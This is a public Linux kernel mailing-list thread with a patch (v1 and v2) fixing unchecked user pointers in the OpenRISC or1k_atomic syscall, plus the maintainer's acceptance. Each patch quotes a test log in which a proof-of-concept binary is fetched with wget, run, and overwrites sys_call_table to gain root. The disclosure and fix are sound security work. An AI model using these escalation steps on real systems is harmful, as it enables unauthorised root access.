* [PATCH] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall
@ 2026-08-21 1:38 Ali Ahmet Memis
2026-08-21 1:45 ` [PATCH v2] " Ali Ahmet Memis
0 siblings, 1 reply; 3+ messages in thread
From: Ali Ahmet Memis @ 2026-08-21 1:38 UTC (permalink / raw)
To: Jonas Bonn, Stefan Kristiansson, Stafford Horne
Cc: Arnd Bergmann, linux-openrisc, linux-kernel
sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
pointers, v1 and v2, and swaps the words they point to in hand-written
assembly.
l.lwz r29,0(r4)
l.lwz r27,0(r5)
l.sw 0(r4),r27
l.sw 0(r5),r29
The pointers are not checked with access_ok(). The four memory
accesses also have no exception table entries.
A caller passes a kernel address as either pointer, and the syscall
reads from and writes to it directly.
This gives an unprivileged process a kernel read/write primitive. It
overwrites kernel data such as the sys_call_table, gaining code
execution in kernel context.
Check both pointers before entering the critical section. Add fixups
for the four memory accesses so faults on valid but unmapped user
addresses return -EFAULT.
Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
---
Tested against an unpatched or1ksim build with a local PoC that uses
this syscall to overwrite a sys_call_table entry and escalate to root:
ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0"
FDT at (ptrval)
Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026
OF: reserved mem: Reserved memory: No reserved-memory node in the DT
CPU: OpenRISC-13 (revision 8) @20 MHz
-- dmmu: 128 entries, 1 way(s)
-- immu: 128 entries, 1 way(s)
-- additional features:
-- power management
-- PIC
-- timer
Initial ramdisk not found
Setting up paging and PTEs.
map_ram: Memory: 0x0-0x8000000
Zone ranges:
Normal [mem 0x0000000000000000-0x0000000007ffffff]
Movable zone start for each node
Early memory node ranges
node 0: [mem 0x0000000000000000-0x0000000007ffffff]
Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
itlb_miss_handler (ptrval)
dtlb_miss_handler (ptrval)
OpenRISC Linux -- http://openrisc.io
Kernel command line: console=ttyS0
printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
Sorting __ex_table...
Built 1 zonelists, mobility grouping on. Total pages: 16384
mem auto-init: stack:all(zero), heap alloc:off, heap free:off
mem_init_done ...........................................
SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns
Console: colour dummy device 80x25
40.00 BogoMIPS (lpj=80000)
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
saving to '/tmp/x'
x 100% |********************************| 174k 0:00:00 ETA
'/tmp/x' saved
$ chmod +x /tmp/x
$ /tmp/x
Initial: uid=1000 euid=1000
Installing commit_creds into getuid entry
sys_call_table[174] overwritten
original handler = 0xc002e2ac
Calling hijacked syscall with init_cred
hijacked syscall returned 0
Restoring original getuid handler
syscall table restored
Final identity: uid=0 euid=0
# id
uid=0(root) gid=0(root)
#
arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
1 file changed, 39 insertions(+), 3 deletions(-)
diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
index c7e90b09645e..2e8c4102cd62 100644
--- a/arch/openrisc/kernel/entry.S
+++ b/arch/openrisc/kernel/entry.S
@@ -1223,15 +1223,49 @@ _no_syscall_trace:
*
*/
+/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
+#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc
+
ENTRY(sys_or1k_atomic)
/* FIXME: This ignores r3 and always does an XCHG */
+
+ /* Check both user pointers before accessing them. */
+ l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
+ l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
+ l.sfgtu r4,r13
+ l.bf 9f
+ l.nop
+ l.sfgtu r5,r13
+ l.bf 9f
+ l.nop
+
DISABLE_INTERRUPTS(r17,r19)
- l.lwz r29,0(r4)
- l.lwz r27,0(r5)
- l.sw 0(r4),r27
- l.sw 0(r5),r29
+10: l.lwz r29,0(r4)
+11: l.lwz r27,0(r5)
+12: l.sw 0(r4),r27
+13: l.sw 0(r5),r29
ENABLE_INTERRUPTS(r17)
l.jr r9
l.or r11,r0,r0
+ /* Either pointer was outside user space, or turned out to be
+ * unmapped/inaccessible when we actually touched it.
+ */
+9: l.jr r9
+ l.addi r11,r0,-EFAULT
+
+ .section .fixup, "ax"
+14:
+ ENABLE_INTERRUPTS(r17)
+ l.j 9b
+ l.nop
+ .previous
+
+ .section __ex_table, "a"
+ .long 10b, 14b
+ .long 11b, 14b
+ .long 12b, 14b
+ .long 13b, 14b
+ .previous
+
/* ============================================================[ EOF ]=== */
--
2.51.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH v2] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall
2026-08-21 1:38 [PATCH] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall Ali Ahmet Memis
@ 2026-08-21 1:45 ` Ali Ahmet Memis
2026-08-29 6:29 ` Stafford Horne
0 siblings, 1 reply; 3+ messages in thread
From: Ali Ahmet Memis @ 2026-08-21 1:45 UTC (permalink / raw)
To: Jonas Bonn, Stefan Kristiansson, Stafford Horne
Cc: Arnd Bergmann, linux-openrisc, linux-kernel, stable
sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
pointers, v1 and v2, and swaps the words they point to in hand-written
assembly.
l.lwz r29,0(r4)
l.lwz r27,0(r5)
l.sw 0(r4),r27
l.sw 0(r5),r29
The pointers are not checked with access_ok(). The four memory
accesses also have no exception table entries.
A caller passes a kernel address as either pointer, and the syscall
reads from and writes to it directly.
This gives an unprivileged process a kernel read/write primitive. It
overwrites kernel data such as the sys_call_table, gaining code
execution in kernel context.
Check both pointers before entering the critical section. Add fixups
for the four memory accesses so faults on valid but unmapped user
addresses return -EFAULT.
Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
Cc: stable@vger.kernel.org
Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
---
v2: add Cc: stable@vger.kernel.org, missed in v1.
Tested against an unpatched or1ksim build with a local PoC that uses
this syscall to overwrite a sys_call_table entry and escalate to root:
ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0"
FDT at (ptrval)
Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026
OF: reserved mem: Reserved memory: No reserved-memory node in the DT
CPU: OpenRISC-13 (revision 8) @20 MHz
-- dmmu: 128 entries, 1 way(s)
-- immu: 128 entries, 1 way(s)
-- additional features:
-- power management
-- PIC
-- timer
Initial ramdisk not found
Setting up paging and PTEs.
map_ram: Memory: 0x0-0x8000000
Zone ranges:
Normal [mem 0x0000000000000000-0x0000000007ffffff]
Movable zone start for each node
Early memory node ranges
node 0: [mem 0x0000000000000000-0x0000000007ffffff]
Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
itlb_miss_handler (ptrval)
dtlb_miss_handler (ptrval)
OpenRISC Linux -- http://openrisc.io
Kernel command line: console=ttyS0
printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
Sorting __ex_table...
Built 1 zonelists, mobility grouping on. Total pages: 16384
mem auto-init: stack:all(zero), heap alloc:off, heap free:off
mem_init_done ...........................................
SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns
Console: colour dummy device 80x25
40.00 BogoMIPS (lpj=80000)
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
saving to '/tmp/x'
x 100% |********************************| 174k 0:00:00 ETA
'/tmp/x' saved
$ chmod +x /tmp/x
$ /tmp/x
Initial: uid=1000 euid=1000
Installing commit_creds into getuid entry
sys_call_table[174] overwritten
original handler = 0xc002e2ac
Calling hijacked syscall with init_cred
hijacked syscall returned 0
Restoring original getuid handler
syscall table restored
Final identity: uid=0 euid=0
# id
uid=0(root) gid=0(root)
#
arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
1 file changed, 39 insertions(+), 3 deletions(-)
diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
index c7e90b09645e..2e8c4102cd62 100644
--- a/arch/openrisc/kernel/entry.S
+++ b/arch/openrisc/kernel/entry.S
@@ -1223,15 +1223,49 @@ _no_syscall_trace:
*
*/
+/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
+#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc
+
ENTRY(sys_or1k_atomic)
/* FIXME: This ignores r3 and always does an XCHG */
+
+ /* Check both user pointers before accessing them. */
+ l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
+ l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
+ l.sfgtu r4,r13
+ l.bf 9f
+ l.nop
+ l.sfgtu r5,r13
+ l.bf 9f
+ l.nop
+
DISABLE_INTERRUPTS(r17,r19)
- l.lwz r29,0(r4)
- l.lwz r27,0(r5)
- l.sw 0(r4),r27
- l.sw 0(r5),r29
+10: l.lwz r29,0(r4)
+11: l.lwz r27,0(r5)
+12: l.sw 0(r4),r27
+13: l.sw 0(r5),r29
ENABLE_INTERRUPTS(r17)
l.jr r9
l.or r11,r0,r0
+ /* Either pointer was outside user space, or turned out to be
+ * unmapped/inaccessible when we actually touched it.
+ */
+9: l.jr r9
+ l.addi r11,r0,-EFAULT
+
+ .section .fixup, "ax"
+14:
+ ENABLE_INTERRUPTS(r17)
+ l.j 9b
+ l.nop
+ .previous
+
+ .section __ex_table, "a"
+ .long 10b, 14b
+ .long 11b, 14b
+ .long 12b, 14b
+ .long 13b, 14b
+ .previous
+
/* ============================================================[ EOF ]=== */
--
2.51.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [PATCH v2] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall
2026-08-21 1:45 ` [PATCH v2] " Ali Ahmet Memis
@ 2026-08-29 6:29 ` Stafford Horne
0 siblings, 0 replies; 3+ messages in thread
From: Stafford Horne @ 2026-08-29 6:29 UTC (permalink / raw)
To: Ali Ahmet Memis
Cc: Jonas Bonn, Stefan Kristiansson, Arnd Bergmann, linux-openrisc,
linux-kernel, stable
On Fri, Aug 21, 2026 at 01:45:27AM +0000, Ali Ahmet Memis wrote:
> sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
> pointers, v1 and v2, and swaps the words they point to in hand-written
> assembly.
>
> l.lwz r29,0(r4)
> l.lwz r27,0(r5)
> l.sw 0(r4),r27
> l.sw 0(r5),r29
>
> The pointers are not checked with access_ok(). The four memory
> accesses also have no exception table entries.
>
> A caller passes a kernel address as either pointer, and the syscall
> reads from and writes to it directly.
>
> This gives an unprivileged process a kernel read/write primitive. It
> overwrites kernel data such as the sys_call_table, gaining code
> execution in kernel context.
>
> Check both pointers before entering the critical section. Add fixups
> for the four memory accesses so faults on valid but unmapped user
> addresses return -EFAULT.
>
> Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
> Cc: stable@vger.kernel.org
> Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
> ---
> v2: add Cc: stable@vger.kernel.org, missed in v1.
>
> Tested against an unpatched or1ksim build with a local PoC that uses
> this syscall to overwrite a sys_call_table entry and escalate to root:
>
> ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
> ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0"
> FDT at (ptrval)
> Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026
> OF: reserved mem: Reserved memory: No reserved-memory node in the DT
> CPU: OpenRISC-13 (revision 8) @20 MHz
> -- dmmu: 128 entries, 1 way(s)
> -- immu: 128 entries, 1 way(s)
> -- additional features:
> -- power management
> -- PIC
> -- timer
> Initial ramdisk not found
> Setting up paging and PTEs.
> map_ram: Memory: 0x0-0x8000000
> Zone ranges:
> Normal [mem 0x0000000000000000-0x0000000007ffffff]
> Movable zone start for each node
> Early memory node ranges
> node 0: [mem 0x0000000000000000-0x0000000007ffffff]
> Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
> itlb_miss_handler (ptrval)
> dtlb_miss_handler (ptrval)
> OpenRISC Linux -- http://openrisc.io
> Kernel command line: console=ttyS0
> printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
> Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
> Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
> Sorting __ex_table...
> Built 1 zonelists, mobility grouping on. Total pages: 16384
> mem auto-init: stack:all(zero), heap alloc:off, heap free:off
> mem_init_done ...........................................
> SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
> NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
> clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns
> Console: colour dummy device 80x25
> 40.00 BogoMIPS (lpj=80000)
> $ id
> uid=1000(test) gid=1000(test) groups=1000(test)
> $ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
> Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
> saving to '/tmp/x'
> x 100% |********************************| 174k 0:00:00 ETA
> '/tmp/x' saved
> $ chmod +x /tmp/x
> $ /tmp/x
> Initial: uid=1000 euid=1000
> Installing commit_creds into getuid entry
> sys_call_table[174] overwritten
> original handler = 0xc002e2ac
> Calling hijacked syscall with init_cred
> hijacked syscall returned 0
> Restoring original getuid handler
> syscall table restored
> Final identity: uid=0 euid=0
> # id
> uid=0(root) gid=0(root)
> #
>
> arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
> 1 file changed, 39 insertions(+), 3 deletions(-)
>
> diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
> index c7e90b09645e..2e8c4102cd62 100644
> --- a/arch/openrisc/kernel/entry.S
> +++ b/arch/openrisc/kernel/entry.S
> @@ -1223,15 +1223,49 @@ _no_syscall_trace:
> *
> */
>
> +/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
> +#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc
OK, it would have been good to use TASK_SIZE.
> ENTRY(sys_or1k_atomic)
Note, I don't know of any applications that actually use this, we should
deprecated this syscall. But I do see it available in musl and strace, it would
take some time to cleanup.
> /* FIXME: This ignores r3 and always does an XCHG */
> +
> + /* Check both user pointers before accessing them. */
> + l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
> + l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
> + l.sfgtu r4,r13
> + l.bf 9f
> + l.nop
> + l.sfgtu r5,r13
> + l.bf 9f
> + l.nop
> +
> DISABLE_INTERRUPTS(r17,r19)
> - l.lwz r29,0(r4)
> - l.lwz r27,0(r5)
> - l.sw 0(r4),r27
> - l.sw 0(r5),r29
> +10: l.lwz r29,0(r4)
> +11: l.lwz r27,0(r5)
> +12: l.sw 0(r4),r27
> +13: l.sw 0(r5),r29
> ENABLE_INTERRUPTS(r17)
> l.jr r9
> l.or r11,r0,r0
>
> + /* Either pointer was outside user space, or turned out to be
> + * unmapped/inaccessible when we actually touched it.
> + */
> +9: l.jr r9
> + l.addi r11,r0,-EFAULT
> +
> + .section .fixup, "ax"
> +14:
> + ENABLE_INTERRUPTS(r17)
> + l.j 9b
> + l.nop
> + .previous
> +
> + .section __ex_table, "a"
> + .long 10b, 14b
> + .long 11b, 14b
> + .long 12b, 14b
> + .long 13b, 14b
> + .previous
> +
Thanks,
I will send this upstream.
-Stafford
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-08-29 6:29 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-08-21 1:38 [PATCH] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall Ali Ahmet Memis
2026-08-21 1:45 ` [PATCH v2] " Ali Ahmet Memis
2026-08-29 6:29 ` Stafford Horne
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®